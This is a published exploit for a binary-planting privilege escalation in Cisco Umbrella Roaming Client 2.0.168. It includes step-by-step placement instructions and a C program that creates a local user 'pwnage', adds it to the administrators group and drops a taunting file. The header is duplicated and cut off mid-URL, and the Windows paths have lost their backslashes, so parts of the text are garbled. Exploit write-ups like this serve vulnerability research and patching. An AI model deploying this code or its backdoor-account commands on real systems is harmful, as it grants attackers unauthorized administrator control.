Cisco Umbrella Roaming Client 2.0.168 Privilege Escalation

/*
# Exploit Title: Cisco Umbrella Roaming Client 2.0.168 - Privilege Escalation
# Date: 2018-04-06
# Exploit Author: paragonsec @ Critical Start
# Vendor Homepage: https:/ /*
# Exploit Title: Cisco Umbrella Roaming Client 2.0.168 - Privilege Escalation
# Date: 2018-04-06
# Exploit Author: paragonsec @ Critical Start
# Vendor Homepage: https://www.opendns.com/
# Version: Umbrella Roaming Client (2.0.168)
# Tested on: Windows 10 Professional
# CVE : CVE-2018-0437 & CVE-2018-0438
# Cisco Bug: CSCvj61300
# Advisory Links:
# https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180905-umbrella-priv
# https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180905-umbrella-file-read
# https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvj61300

OpenDNS Umbrella Roaming Client (2.0.168) Binary Planting Privilege Escalation Exploit

Details:
Compile the following code and rename it to either netsh.exe or cmd.exe
and place the file in the "C:ProgramDataOpenDNSERC" directory. Restart the machine!

Affected Binary paths:
C:ProgramDataOpenDNSERCcmd.exe
C:ProgramDataOpenDNSERC etsh.exe

More Details:
Create malicious MSI file named RoamingClient_WIN_2.0.168.msi and place in
"C:ProgramDataOpenDNSERCUpgrades" and restart the machine.

Tools Used:
A!Advanced Installer 14.8" - Used to create the MSI

Code:
*/

#include <stdlib.h>
#include <stdio.h>

int main()
{
system("net user pwnage pwnage /add");
system("net localgroup administrators pwnage /add");

FILE * fp;
int i;
/* open the file for writing*/
fp = fopen ("c:\opendns_pwnage.txt","w");

fprintf (fp, "OpenDNS has been Pwned... New user has been created as an admin! Brought to you by paragonsec @criticalstart");

/* close the file*/
fclose (fp);
return 0;
}